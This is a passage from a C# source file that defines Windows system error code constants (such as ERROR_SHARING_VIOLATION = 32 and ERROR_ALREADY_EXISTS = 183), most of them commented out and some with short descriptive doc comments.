uint ERROR_NOT_DOS_DISK = 26; //public const uint ERROR_SECTOR_NOT_FOUND = 27; //public const uint ERROR_OUT_OF_PAPER = 28; //public const uint ERROR_WRITE_FAULT = 29; //public const uint ERROR_READ_FAULT = 30; //public const uint ERROR_GEN_FAILURE = 31; /// (32) The process cannot access the file because it is being used by another process. public const uint ERROR_SHARING_VIOLATION = 32; /// (33) The process cannot access the file because another process has locked a portion of the file. public const uint ERROR_LOCK_VIOLATION = 33; //public const uint ERROR_WRONG_DISK = 34; //public const uint ERROR_SHARING_BUFFER_EXCEEDED = 36; /// (38) Reached the end of the file. public const uint ERROR_HANDLE_EOF = 38; //public const uint ERROR_HANDLE_DISK_FULL = 39; public const uint ERROR_NOT_SUPPORTED = 50; //public const uint ERROR_REM_NOT_LIST = 51; //public const uint ERROR_DUP_NAME = 52; /// (53) The network path was not found. public const uint ERROR_BAD_NETPATH = 53; //public const uint ERROR_NETWORK_BUSY = 54; //public const uint ERROR_DEV_NOT_EXIST = 55; //public const uint ERROR_TOO_MANY_CMDS = 56; //public const uint ERROR_ADAP_HDW_ERR = 57; //public const uint ERROR_BAD_NET_RESP = 58; //public const uint ERROR_UNEXP_NET_ERR = 59; //public const uint ERROR_BAD_REM_ADAP = 60; //public const uint ERROR_PRINTQ_FULL = 61; //public const uint ERROR_NO_SPOOL_SPACE = 62; //public const uint ERROR_PRINT_CANCELLED = 63; //public const uint ERROR_NETNAME_DELETED = 64; /// (65) Network access is denied. public const uint ERROR_NETWORK_ACCESS_DENIED = 65; //public const uint ERROR_BAD_DEV_TYPE = 66; /// (67) The network name cannot be found. public const uint ERROR_BAD_NET_NAME = 67; //public const uint ERROR_TOO_MANY_NAMES = 68; //public const uint ERROR_TOO_MANY_SESS = 69; //public const uint ERROR_SHARING_PAUSED = 70; //public const uint ERROR_REQ_NOT_ACCEP = 71; //public const uint ERROR_REDIR_PAUSED = 72; /// (80) The file exists. public const uint ERROR_FILE_EXISTS = 80; //public const uint ERROR_CANNOT_MAKE = 82; //public const uint ERROR_FAIL_I24 = 83; //public const uint ERROR_OUT_OF_STRUCTURES = 84; //public const uint ERROR_ALREADY_ASSIGNED = 85; //public const uint ERROR_INVALID_PASSWORD = 86; /// (87) The parameter is incorrect. public const uint ERROR_INVALID_PARAMETER = 87; //public const uint ERROR_NET_WRITE_FAULT = 88; //public const uint ERROR_NO_PROC_SLOTS = 89; //public const uint ERROR_TOO_MANY_SEMAPHORES = 100; //public const uint ERROR_EXCL_SEM_ALREADY_OWNED = 101; //public const uint ERROR_SEM_IS_SET = 102; //public const uint ERROR_TOO_MANY_SEM_REQUESTS = 103; //public const uint ERROR_INVALID_AT_INTERRUPT_TIME = 104; //public const uint ERROR_SEM_OWNER_DIED = 105; //public const uint ERROR_SEM_USER_LIMIT = 106; //public const uint ERROR_DISK_CHANGE = 107; //public const uint ERROR_DRIVE_LOCKED = 108; //public const uint ERROR_BROKEN_PIPE = 109; //public const uint ERROR_OPEN_FAILED = 110; //public const uint ERROR_BUFFER_OVERFLOW = 111; //public const uint ERROR_DISK_FULL = 112; //public const uint ERROR_NO_MORE_SEARCH_HANDLES = 113; //public const uint ERROR_INVALID_TARGET_HANDLE = 114; //public const uint ERROR_INVALID_CATEGORY = 117; //public const uint ERROR_INVALID_VERIFY_SWITCH = 118; //public const uint ERROR_BAD_DRIVER_LEVEL = 119; //public const uint ERROR_CALL_NOT_IMPLEMENTED = 120; //public const uint ERROR_SEM_TIMEOUT = 121; /// (122) The data area passed to a system call is too small. public const uint ERROR_INSUFFICIENT_BUFFER = 122; /// (123) The filename, directory name, or volume label syntax is incorrect. public const uint ERROR_INVALID_NAME = 123; //public const uint ERROR_INVALID_LEVEL = 124; //public const uint ERROR_NO_VOLUME_LABEL = 125; //public const uint ERROR_INVALID_FILE_ATTRIBUTES = 0xFFFFFFFF; //public const uint ERROR_MOD_NOT_FOUND = 126; //public const uint ERROR_PROC_NOT_FOUND = 127; //public const uint ERROR_WAIT_NO_CHILDREN = 128; //public const uint ERROR_CHILD_NOT_COMPLETE = 129; //public const uint ERROR_DIRECT_ACCESS_HANDLE = 130; /// (131) An attempt was made to move the file pointer before the beginning of the file. public const uint ERROR_NEGATIVE_SEEK = 131; //public const uint ERROR_SEEK_ON_DEVICE = 132; //public const uint ERROR_IS_JOIN_TARGET = 133; //public const uint ERROR_IS_JOINED = 134; //public const uint ERROR_IS_SUBSTED = 135; //public const uint ERROR_NOT_JOINED = 136; //public const uint ERROR_NOT_SUBSTED = 137; //public const uint ERROR_JOIN_TO_JOIN = 138; //public const uint ERROR_SUBST_TO_SUBST = 139; //public const uint ERROR_JOIN_TO_SUBST = 140; //public const uint ERROR_SUBST_TO_JOIN = 141; //public const uint ERROR_BUSY_DRIVE = 142; /// (143) The system cannot join or substitute a drive to or for a directory on the same drive. public const uint ERROR_SAME_DRIVE = 143; //public const uint ERROR_DIR_NOT_ROOT = 144; /// (145) The directory is not empty. public const uint ERROR_DIR_NOT_EMPTY = 145; //public const uint ERROR_IS_SUBST_PATH = 146; //public const uint ERROR_IS_JOIN_PATH = 147; //public const uint ERROR_PATH_BUSY = 148; //public const uint ERROR_IS_SUBST_TARGET = 149; //public const uint ERROR_SYSTEM_TRACE = 150; //public const uint ERROR_INVALID_EVENT_COUNT = 151; //public const uint ERROR_TOO_MANY_MUXWAITERS = 152; //public const uint ERROR_INVALID_LIST_FORMAT = 153; //public const uint ERROR_LABEL_TOO_LONG = 154; //public const uint ERROR_TOO_MANY_TCBS = 155; //public const uint ERROR_SIGNAL_REFUSED = 156; //public const uint ERROR_DISCARDED = 157; //// (158) The segment is already unlocked. //public const uint ERROR_NOT_LOCKED = 158; //public const uint ERROR_BAD_THREADID_ADDR = 159; //public const uint ERROR_BAD_ARGUMENTS = 160; //public const uint ERROR_BAD_PATHNAME = 161; //public const uint ERROR_SIGNAL_PENDING = 162; //public const uint ERROR_MAX_THRDS_REACHED = 164; //public const uint ERROR_LOCK_FAILED = 167; //public const uint ERROR_BUSY = 170; //public const uint ERROR_CANCEL_VIOLATION = 173; //public const uint ERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 174; //public const uint ERROR_INVALID_SEGMENT_NUMBER = 180; //public const uint ERROR_INVALID_ORDINAL = 182; /// (183) Cannot create a file when that file already exists. public const uint ERROR_ALREADY_EXISTS = 183; //public const uint ERROR_INVALID_FLAG_NUMBER = 186; //public const uint ERROR_SEM_NOT_FOUND = 187; //public const uint ERROR_INVALID_STARTING_CODESEG = 188; //public const uint ERROR_INVALID_STACKSEG = 189; //public const uint ERROR_INVALID_MODULETYPE = 190; //public const uint ERROR_INVALID_EXE_SIGNATURE = 191; //public const uint ERROR_EXE_MARKED_INVALID = 192; //public const uint ERROR_BAD_EXE_FORMAT = 193; //public const uint ERROR_ITERATED_DATA_EXCEEDS_64k = 194; //public const uint ERROR_INVALID_MINALLOCSIZE = 195; //public const uint ERROR_DYNLINK_FROM_INVALID_RING = 196; //public const uint ERROR_IOPL_NOT_ENABLED = 197; //public const uint ERROR_INVALID_SEGDPL = 198; //public const uint ERROR_AUTODATASEG_EXCEEDS_64k = 199; //public const uint ERROR_RING2SEG_MUST_BE_MOVABLE = 200; //public const uint ERROR_RELOC_CHAIN_XEEDS_SEGLIM = 201; //public const uint ERROR_INFLOOP_IN_RELOC_CHAIN = 202; //// (203) The system could not find the environment option that was entered. //public const uint ERROR_ENVVAR_NOT_FOUND = 203; //public const uint ERROR_NO_SIGNAL_SENT = 205; //public const uint ERROR_FILENAME_EXCED_RANGE = 206; //public const uint ERROR_RING2_STACK_IN_USE = 207; //public const uint ERROR_META_EXPANSION_TOO_LONG = 208; //public const uint ERROR_INVALID_SIGNAL_NUMBER = 209; //public const uint ERROR_THREAD_1_INACTIVE = 210; //public const uint ERROR_LOCKED = 212; //public const uint ERROR_TOO_MANY_MODULES = 214; //public const uint ERROR_NESTING_NOT_ALLOWED = 215; //public const uint ERROR_EXE_MACHINE_TYPE_MISMATCH = 216; //public const uint ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY = 217; //public const uint ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 218; //public const uint ERROR_BAD_PIPE = 230; //public const uint ERROR_PIPE_BUSY = 231; //public const uint ERROR_NO_DATA = 232; //public const uint ERROR_PIPE_NOT_CONNECTED = 233; /// (234) More data is available. public const uint ERROR_MORE_DATA = 234; //public const uint ERROR_VC_DISCONNECTED = 240; //public const uint ERROR_INVALID_EA_NAME = 254; //public const uint ERROR_EA_LIST_INCONSISTENT = 255; //public const uint WAIT_TIMEOUT = 258; ///// (259) No more data is available. public const uint ERROR_NO_MORE_ITEMS = 259; //public const uint ERROR_CANNOT_COPY = 266; /// (267) The directory name is invalid. public const uint ERROR_DIRECTORY = 267; //public const uint ERROR_EAS_DIDNT_FIT = 275; //public const uint ERROR_EA_FILE_CORRUPT = 276; //public const uint ERROR_EA_TABLE_FULL = 277; //public const uint ERROR_INVALID_EA_HANDLE = 278; //public const uint ERROR_EAS_NOT_SUPPORTED = 282; //public const uint ERROR_NOT_OWNER = 288; //public const uint ERROR_TOO_MANY_POSTS = 298; //public const uint ERROR_PARTIAL_COPY = 299; //public const uint ERROR_OPLOCK_NOT_GRANTED = 300; //public const uint ERROR_INVALID_OPLOCK_PROTOCOL = 301; //public const uint ERROR_DISK_TOO_FRAGMENTED = 302; //public const uint ERROR_DELETE_PENDING = 303; //public const uint ERROR_MR_MID_NOT_FOUND = 317; //public const uint ERROR_SCOPE_NOT_FOUND = 318; //public const uint ERROR_INVALID_ADDRESS = 487; //public const uint ERROR_ARITHMETIC_OVERFLOW = 534; //public const uint ERROR_PIPE_CONNECTED = 535; //public const uint ERROR_PIPE_LISTENING = 536; //public const uint ERROR_EA_ACCESS_DENIED = 994; /// (995) The I/O operation has been aborted because of either a thread exit or an application request. public const uint ERROR_OPERATION_ABORTED = 995; //public const uint ERROR_IO_INCOMPLETE = 996; //// (997) Overlapped I/O operation is in progress. //public const uint ERROR_IO_PENDING = 997; //public const uint ERROR_NOACCESS = 998; //public const uint ERROR_SWAPERROR = 999; //public const uint ERROR_STACK_OVERFLOW = 1001; //public const uint ERROR_INVALID_MESSAGE = 1002; //public const uint ERROR_CAN_NOT_COMPLETE = 1003; //public const uint ERROR_INVALID_FLAGS = 1004; //public const uint ERROR_UNRECOGNIZED_VOLUME = 1005; //public const uint ERROR_FILE_INVALID = 1006; //public const uint ERROR_FULLSCREEN_MODE = 1007; //public const uint ERROR_NO_TOKEN = 1008; //public const uint ERROR_BADDB = 1009; //public const uint ERROR_BADKEY = 1010; //public const uint ERROR_CANTOPEN = 1011; //public const uint ERROR_CANTREAD = 1012; //public const uint ERROR_CANTWRITE = 1013; //public const uint ERROR_REGISTRY_RECOVERED = 1014; //public const uint ERROR_REGISTRY_CORRUPT = 1015; //public const uint ERROR_REGISTRY_IO_FAILED = 1016; //public const uint ERROR_NOT_REGISTRY_FILE = 1017; //public const uint ERROR_KEY_DELETED = 1018; //public const uint ERROR_NO_LOG_SPACE = 1019; //public const uint ERROR_KEY_HAS_CHILDREN = 1020; //public const uint ERROR_CHILD_MUST_BE_VOLATILE = 1021; //public const uint ERROR_NOTIFY_ENUM_DIR = 1022; //public const uint ERROR_DEPENDENT_SERVICES_RUNNING = 1051; //public const uint ERROR_INVALID_SERVICE_CONTROL = 1052; //public const uint ERROR_SERVICE_REQUEST_TIMEOUT = 1053; //public const uint ERROR_SERVICE_NO_THREAD = 1054; //public const uint ERROR_SERVICE_DATABASE_LOCKED = 1055; //public const uint ERROR_SERVICE_ALREADY_RUNNING = 1056; //public const uint ERROR_INVALID_SERVICE_ACCOUNT = 1057; //public const uint ERROR_SERVICE_DISABLED = 1058; //public const uint ERROR_CIRCULAR_DEPENDENCY = 1059; //public const uint ERROR_SERVICE_DOES_NOT_EXIST = 1060; //public const uint ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061; //public const uint ERROR_SERVICE_NOT_ACTIVE = 1062; //public const uint ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063; //public const uint ERROR_EXCEPTION_IN_SERVICE = 1064; //public const uint ERROR_DATABASE_DOES_NOT_EXIST = 1065; //public const uint ERROR_SERVICE_SPECIFIC_ERROR = 1066; //public const uint ERROR_PROCESS_ABORTED = 1067; //public const uint ERROR_SERVICE_DEPENDENCY_FAIL = 1068; //public const uint ERROR_SERVICE_LOGON_FAILED = 1069; //public const uint ERROR_SERVICE_START_HANG = 1070; //public const uint ERROR_INVALID_SERVICE_LOCK = 1071; //public const uint ERROR_SERVICE_MARKED_FOR_DELETE = 1072; //public const uint ERROR_SERVICE_EXISTS = 1073; //public const uint ERROR_ALREADY_RUNNING_LKG = 1074; //public const uint ERROR_SERVICE_DEPENDENCY_DELETED = 1075; //public const uint ERROR_BOOT_ALREADY_ACCEPTED = 1076; //public const uint ERROR_SERVICE_NEVER_STARTED = 1077; //public const uint ERROR_DUPLICATE_SERVICE_NAME = 1078; //public const uint ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079; //public const uint ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080; //public const uint ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081; //public const uint ERROR_NO_RECOVERY_PROGRAM = 1082; //public const uint ERROR_SERVICE_NOT_IN_EXE = 1083; //public const uint ERROR_NOT_SAFEBOOT_SERVICE = 1084; //public const uint ERROR_END_OF_MEDIA = 1100; //public const uint ERROR_FILEMARK_DETECTED = 1101; //public const uint ERROR_BEGINNING_OF_MEDIA = 1102; //public const uint ERROR_SETMARK_DETECTED = 1103; //public const uint ERROR_NO_DATA_DETECTED = 1104; //public const uint ERROR_PARTITION_FAILURE = 1105; //public const uint ERROR_INVALID_BLOCK_LENGTH = 1106; //public const uint ERROR_DEVICE_NOT_PARTITIONED = 1107; //public const uint ERROR_UNABLE_TO_LOCK_MEDIA = 1108; //public const uint ERROR_UNABLE_TO_UNLOAD_MEDIA = 1109; //public const uint ERROR_MEDIA_CHANGED = 1110; //public const uint ERROR_BUS_RESET = 1111; //public const uint ERROR_NO_MEDIA_IN_DRIVE = 1112; //public const uint ERROR_NO_UNICODE_TRANSLATION = 1113; //public const uint ERROR_DLL_INIT_FAILED = 1114; //public const uint ERROR_SHUTDOWN_IN_PROGRESS = 1115; //public const uint ERROR_NO_SHUTDOWN_IN_PROGRESS = 1116; //public const uint ERROR_IO_DEVICE = 1117; //public const uint ERROR_SERIAL_NO_DEVICE = 1118; //public const uint ERROR_IRQ_BUSY = 1119; //public const uint ERROR_MORE_WRITES = 1120; //public const uint ERROR_COUNTER_TIMEOUT = 1121; //public const uint ERROR_FLOPPY_ID_MARK_NOT_FOUND = 1122; //public const uint ERROR_FLOPPY_WRONG_CYLINDER = 1123; //public const uint ERROR_FLOPPY_UNKNOWN_ERROR = 1124; //public const uint ERROR_FLOPPY_BAD_REGISTERS = 1125; //public const uint ERROR_DISK_RECALIBRATE_FAILED = 1126; //public const uint ERROR_DISK_OPERATION_FAILED = 1127; //public const uint ERROR_DISK_RESET_FAILED = 1128; //public const uint ERROR_EOM_OVERFLOW = 1129; //public const uint ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130; //public const uint ERROR_POSSIBLE_DEADLOCK = 1131; //public const uint ERROR_MAPPED_ALIGNMENT = 1132; //public const uint ERROR_SET_POWER_STATE_VETOED = 1140; //public const uint ERROR_SET_POWER_STATE_FAILED = 1141; //public const uint ERROR_TOO_MANY_LINKS = 1142; /// (1150) The specified program requires a newer version of Windows. public const uint ERROR_OLD_WIN_VERSION = 1150; //public const uint ERROR_APP_WRONG_OS = 1151; //public const uint ERROR_SINGLE_INSTANCE_APP = 1152; //public const uint ERROR_RMODE_APP = 1153; //public const uint ERROR_INVALID_DLL = 1154; //public const uint ERROR_NO_ASSOCIATION = 1155; //public const uint ERROR_DDE_FAIL = 1156; //public const uint ERROR_DLL_NOT_FOUND = 1157; //public const uint ERROR_NO_MORE_USER_HANDLES = 1158; //public const uint ERROR_MESSAGE_SYNC_ONLY = 1159; //public const uint ERROR_SOURCE_ELEMENT_EMPTY = 1160; //public const uint ERROR_DESTINATION_ELEMENT_FULL = 1161; //public const uint ERROR_ILLEGAL_ELEMENT_ADDRESS = 1162; //public const uint ERROR_MAGAZINE_NOT_PRESENT = 1163; //public const uint ERROR_DEVICE_REINITIALIZATION_NEEDED = 1164; //public const uint ERROR_DEVICE_REQUIRES_CLEANING = 1165; //public const uint ERROR_DEVICE_DOOR_OPEN = 1166; //public const uint ERROR_DEVICE_NOT_CONNECTED = 1167; //public const uint ERROR_NOT_FOUND = 1168; //public const uint ERROR_NO_MATCH = 1169; //public const uint ERROR_SET_NOT_FOUND = 1170; //public const uint ERROR_POINT_NOT_FOUND = 1171; //public const uint ERROR_NO_TRACKING_SERVICE = 1172; //public const uint ERROR_NO_VOLUME_ID = 1173; //public const uint ERROR_UNABLE_TO_REMOVE_REPLACED = 1175; //public const uint ERROR_UNABLE_TO_MOVE_REPLACEMENT = 1176; //public const uint ERROR_UNABLE_TO_MOVE_REPLACEMENT_2 = 1177; //public const uint ERROR_JOURNAL_DELETE_IN_PROGRESS = 1178; //public const uint ERROR_JOURNAL_NOT_ACTIVE = 1179; //public const uint ERROR_POTENTIAL_FILE_FOUND = 1180; //public const uint ERROR_JOURNAL_ENTRY_DELETED = 1181; //// (1200) The specified device name is invalid. //public const uint ERROR_BAD_DEVICE = 1200; //public const uint ERROR_CONNECTION_UNAVAIL = 1201; //public const uint ERROR_DEVICE_ALREADY_REMEMBERED = 1202; //public const uint ERROR_NO_NET_OR_BAD_PATH = 1203; //public const uint ERROR_BAD_PROVIDER = 1204; //public const uint ERROR_CANNOT_OPEN_PROFILE = 1205; //public const uint ERROR_BAD_PROFILE = 1206; //public const uint ERROR_NOT_CONTAINER = 1207; //// (1208) An extended error has occurred. //public const uint ERROR_EXTENDED_ERROR = 1208; //public const uint ERROR_INVALID_GROUPNAME = 1209; //public const uint ERROR_INVALID_COMPUTERNAME = 1210; //public const uint ERROR_INVALID_EVENTNAME = 1211; //public const uint ERROR_INVALID_DOMAINNAME = 1212; //public const uint ERROR_INVALID_SERVICENAME = 1213; //public const uint ERROR_INVALID_NETNAME = 1214; //public const uint ERROR_INVALID_SHARENAME = 1215; //public const uint ERROR_INVALID_PASSWORDNAME = 1216; //public const uint ERROR_INVALID_MESSAGENAME = 1217; //public const uint ERROR_INVALID_MESSAGEDEST = 1218; //public const uint ERROR_SESSION_CREDENTIAL_CONFLICT = 1219; //public const uint ERROR_REMOTE_SESSION_LIMIT_EXCEEDED = 1220; //public const uint ERROR_DUP_DOMAINNAME = 1221; //// (1222) The network is not present or not started. //public const uint ERROR_NO_NETWORK = 1222; //public const uint ERROR_CANCELLED = 1223; //public const uint ERROR_USER_MAPPED_FILE = 1224; //public const uint ERROR_CONNECTION_REFUSED = 1225; //public const uint ERROR_GRACEFUL_DISCONNECT = 1226; //public const uint ERROR_ADDRESS_ALREADY_ASSOCIATED = 1227; //public const uint ERROR_ADDRESS_NOT_ASSOCIATED = 1228; //public const uint ERROR_CONNECTION_INVALID = 1229; //public const uint ERROR_CONNECTION_ACTIVE = 1230; //public const uint ERROR_NETWORK_UNREACHABLE = 1231; //public const uint ERROR_HOST_UNREACHABLE = 1232; //public const uint ERROR_PROTOCOL_UNREACHABLE = 1233; //public const uint ERROR_PORT_UNREACHABLE = 1234; /// (1235) The request was aborted. public const uint ERROR_REQUEST_ABORTED = 1235; //public const uint ERROR_CONNECTION_ABORTED = 1236; //public const uint ERROR_RETRY = 1237; //public const uint ERROR_CONNECTION_COUNT_LIMIT = 1238; //public const uint ERROR_LOGIN_TIME_RESTRICTION = 1239; //public const uint ERROR_LOGIN_WKSTA_RESTRICTION = 1240; //public const uint ERROR_INCORRECT_ADDRESS = 1241; //public const uint ERROR_ALREADY_REGISTERED = 1242; //public const uint ERROR_SERVICE_NOT_FOUND = 1243; //public const uint ERROR_NOT_AUTHENTICATED = 1244; //public const uint ERROR_NOT_LOGGED_ON = 1245; //public const uint ERROR_CONTINUE = 1246; //public const uint ERROR_ALREADY_INITIALIZED = 1247; //public const uint ERROR_NO_MORE_DEVICES = 1248; //public const uint ERROR_NO_SUCH_SITE = 1249; //public const uint ERROR_DOMAIN_CONTROLLER_EXISTS = 1250; //public const uint ERROR_ONLY_IF_CONNECTED = 1251; //public const uint ERROR_OVERRIDE_NOCHANGES = 1252; //public const uint ERROR_BAD_USER_PROFILE = 1253; //public const uint ERROR_NOT_SUPPORTED_ON_SBS = 1254; //public const uint ERROR_SERVER_SHUTDOWN_IN_PROGRESS = 1255; //public const uint ERROR_HOST_DOWN = 1256; //public const uint ERROR_NON_ACCOUNT_SID = 1257; //public const uint ERROR_NON_DOMAIN_SID = 1258; //public const uint ERROR_APPHELP_BLOCK = 1259; //public const uint ERROR_ACCESS_DISABLED_BY_POLICY = 1260; //public const uint ERROR_REG_NAT_CONSUMPTION = 1261; //public const uint ERROR_CSCSHARE_OFFLINE = 1262; //public const uint ERROR_PKINIT_FAILURE = 1263; //public const uint ERROR_SMARTCARD_SUBSYSTEM_FAILURE = 1264; //public const uint ERROR_DOWNGRADE_DETECTED = 1265; //public const uint ERROR_MACHINE_LOCKED = 1271; //public const uint ERROR_CALLBACK_SUPPLIED_INVALID_DATA = 1273; //public const uint ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED = 1274; //public const uint ERROR_DRIVER_BLOCKED = 1275; //public const uint ERROR_INVALID_IMPORT_OF_NON_DLL = 1276; //public const uint ERROR_ACCESS_DISABLED_WEBBLADE = 1277; //public const uint ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER = 1278; //public const uint ERROR_RECOVERY_FAILURE = 1279; //public const uint ERROR_ALREADY_FIBER = 1280; //public const uint ERROR_ALREADY_THREAD = 1281; //public const uint ERROR_STACK_BUFFER_OVERRUN = 1282; //public const uint ERROR_PARAMETER_QUOTA_EXCEEDED = 1283; //public const uint ERROR_DEBUGGER_INACTIVE = 1284; //public const uint ERROR_DELAY_LOAD_FAILED = 1285; //public const uint ERROR_VDM_DISALLOWED = 1286; //public const uint ERROR_UNIDENTIFIED_ERROR = 1287; //public const uint ERROR_NOT_ALL_ASSIGNED = 1300; //public const uint ERROR_SOME_NOT_MAPPED = 1301; //public const uint ERROR_NO_QUOTAS_FOR_ACCOUNT = 1302; //public const uint ERROR_LOCAL_USER_SESSION_KEY = 1303; //public const uint ERROR_NULL_LM_PASSWORD = 1304; //public const uint ERROR_UNKNOWN_REVISION = 1305; //public const uint ERROR_REVISION_MISMATCH = 1306; //public const uint ERROR_INVALID_OWNER = 1307; //public const uint ERROR_INVALID_PRIMARY_GROUP = 1308; //public const uint ERROR_NO_IMPERSONATION_TOKEN = 1309; //public const uint ERROR_CANT_DISABLE_MANDATORY = 1310; //public const uint ERROR_NO_LOGON_SERVERS = 1311; //public const uint ERROR_NO_SUCH_LOGON_SESSION = 1312; //public const uint ERROR_NO_SUCH_PRIVILEGE = 1313; //public const uint ERROR_PRIVILEGE_NOT_HELD = 1314; //public const uint ERROR_INVALID_ACCOUNT_NAME = 1315; //public const uint ERROR_USER_EXISTS = 1316; //public const uint ERROR_NO_SUCH_USER = 1317; //public const uint ERROR_GROUP_EXISTS = 1318; //public const uint ERROR_NO_SUCH_GROUP = 1319; //public const uint ERROR_MEMBER_IN_GROUP = 1320; //public const uint ERROR_MEMBER_NOT_IN_GROUP = 1321; //public const uint ERROR_LAST_ADMIN = 1322; //public const uint ERROR_WRONG_PASSWORD = 1323; //public const uint ERROR_ILL_FORMED_PASSWORD = 1324; //public const uint ERROR_PASSWORD_RESTRICTION = 1325; //public const uint ERROR_LOGON_FAILURE = 1326; //public const uint ERROR_ACCOUNT_RESTRICTION = 1327; //public const uint ERROR_INVALID_LOGON_HOURS = 1328; //public const uint ERROR_INVALID_WORKSTATION = 1329; //public const uint ERROR_PASSWORD_EXPIRED = 1330; //public const uint ERROR_ACCOUNT_DISABLED = 1331; //public const uint ERROR_NONE_MAPPED = 1332; //public const uint ERROR_TOO_MANY_LUIDS_REQUESTED = 1333; //public const uint ERROR_LUIDS_EXHAUSTED = 1334; //public const uint ERROR_INVALID_SUB_AUTHORITY = 1335; //public const uint ERROR_INVALID_ACL = 1336; //public const uint ERROR_INVALID_SID = 1337; /// (1338) The security descriptor structure is invalid. public const uint ERROR_INVALID_SECURITY_DESCR = 1338; //public const uint ERROR_BAD_INHERITANCE_ACL = 1340; //public const uint ERROR_SERVER_DISABLED = 1341; //public const uint ERROR_SERVER_NOT_DISABLED = 1342; //public const uint ERROR_INVALID_ID_AUTHORITY = 1343; //public const uint ERROR_ALLOTTED_SPACE_EXCEEDED = 1344; //public const uint ERROR_INVALID_GROUP_ATTRIBUTES = 1345; //public const uint ERROR_BAD_IMPERSONATION_LEVEL = 1346; //public const uint ERROR_CANT_OPEN_ANONYMOUS = 1347; //public const uint ERROR_BAD_VALIDATION_CLASS = 1348; //public const uint ERROR_BAD_TOKEN_TYPE = 1349; //public const uint ERROR_NO_SECURITY_ON_OBJECT = 1350; //public const uint ERROR_CANT_ACCESS_DOMAIN_INFO = 1351; //public const uint ERROR_INVALID_SERVER_STATE = 1352; //public const uint ERROR_INVALID_DOMAIN_STATE = 1353; //public const uint ERROR_INVALID_DOMAIN_ROLE = 1354; //public const uint ERROR_NO_SUCH_DOMAIN = 1355; //public const uint ERROR_DOMAIN_EXISTS = 1356; //public const uint ERROR_DOMAIN_LIMIT_EXCEEDED = 1357; //public const uint ERROR_INTERNAL_DB_CORRUPTION = 1358; //public const uint ERROR_INTERNAL_ERROR = 1359; //public const uint ERROR_GENERIC_NOT_MAPPED = 1360; //public const uint ERROR_BAD_DESCRIPTOR_FORMAT = 1361; //public const uint ERROR_NOT_LOGON_PROCESS = 1362; //public const uint ERROR_LOGON_SESSION_EXISTS = 1363; //public const uint ERROR_NO_SUCH_PACKAGE = 1364; //public const uint ERROR_BAD_LOGON_SESSION_STATE = 1365; //public const uint ERROR_LOGON_SESSION_COLLISION = 1366; //public const uint ERROR_INVALID_LOGON_TYPE = 1367; //public const uint ERROR_CANNOT_IMPERSONATE = 1368; //public const uint ERROR_RXACT_INVALID_STATE = 1369; //public const uint ERROR_RXACT_COMMIT_FAILURE = 1370; //public const uint ERROR_SPECIAL_ACCOUNT = 1371; //public const uint ERROR_SPECIAL_GROUP = 1372; //public const uint ERROR_SPECIAL_USER = 1373; //public const uint ERROR_MEMBERS_PRIMARY_GROUP = 1374; //public const uint ERROR_TOKEN_ALREADY_IN_USE = 1375; //public const uint ERROR_NO_SUCH_ALIAS = 1376; //public const uint ERROR_MEMBER_NOT_IN_ALIAS = 1377; //public const uint ERROR_MEMBER_IN_ALIAS = 1378; //public const uint ERROR_ALIAS_EXISTS = 1379; //public const uint ERROR_LOGON_NOT_GRANTED = 1380; //public const uint ERROR_TOO_MANY_SECRETS = 1381; //public const uint ERROR_SECRET_TOO_LONG = 1382; //public const uint ERROR_INTERNAL_DB_ERROR = 1383; //public const uint ERROR_TOO_MANY_CONTEXT_IDS = 1384; //public const uint ERROR_LOGON_TYPE_NOT_GRANTED = 1385; //public const uint ERROR_NT_CROSS_ENCRYPTION_REQUIRED = 1386; //public const uint ERROR_NO_SUCH_MEMBER = 1387; //public const uint ERROR_INVALID_MEMBER = 1388; //public const uint ERROR_TOO_MANY_SIDS = 1389; //public const uint ERROR_LM_CROSS_ENCRYPTION_REQUIRED = 1390; //public const uint ERROR_NO_INHERITANCE = 1391; //public const uint ERROR_FILE_CORRUPT = 1392; //public const uint ERROR_DISK_CORRUPT = 1393; //public const uint ERROR_NO_USER_SESSION_KEY = 1394; //public const uint ERROR_LICENSE_QUOTA_EXCEEDED = 1395; //public const uint ERROR_WRONG_TARGET_NAME = 1396; //public const uint ERROR_MUTUAL_AUTH_FAILED = 1397; //public const uint ERROR_TIME_SKEW = 1398; //public const uint ERROR_CURRENT_DOMAIN_NOT_ALLOWED = 1399; //public const uint ERROR_INVALID_WINDOW_HANDLE = 1400; //public const uint ERROR_INVALID_MENU_HANDLE = 1401; //public const uint ERROR_INVALID_CURSOR_HANDLE = 1402; //public const uint ERROR_INVALID_ACCEL_HANDLE = 1403; //public const uint ERROR_INVALID_HOOK_HANDLE = 1404; //public const uint ERROR_INVALID_DWP_HANDLE = 1405; //public const uint ERROR_TLW_WITH_WSCHILD = 1406; //public const uint ERROR_CANNOT_FIND_WND_CLASS = 1407; //public const uint ERROR_WINDOW_OF_OTHER_THREAD = 1408; //public const uint ERROR_HOTKEY_ALREADY_REGISTERED = 1409; //public const uint ERROR_CLASS_ALREADY_EXISTS = 1410; //public const uint ERROR_CLASS_DOES_NOT_EXIST = 1411; //public const uint ERROR_CLASS_HAS_WINDOWS = 1412; //public const uint ERROR_INVALID_INDEX = 1413; //public const uint ERROR_INVALID_ICON_HANDLE = 1414; //public const uint ERROR_PRIVATE_DIALOG_INDEX = 1415; //public const uint ERROR_LISTBOX_ID_NOT_FOUND = 1416; //public const uint ERROR_NO_WILDCARD_CHARACTERS = 1417; //public const uint ERROR_CLIPBOARD_NOT_OPEN = 1418; //public const uint ERROR_HOTKEY_NOT_REGISTERED = 1419; //public const uint ERROR_WINDOW_NOT_DIALOG = 1420; //public const uint ERROR_CONTROL_ID_NOT_FOUND = 1421; //public const uint ERROR_INVALID_COMBOBOX_MESSAGE = 1422; //public const uint ERROR_WINDOW_NOT_COMBOBOX = 1423; //public const uint ERROR_INVALID_EDIT_HEIGHT = 1424; //public const uint ERROR_DC_NOT_FOUND = 1425; //public const uint ERROR_INVALID_HOOK_FILTER = 1426; //public const uint ERROR_INVALID_FILTER_PROC = 1427; //public const uint 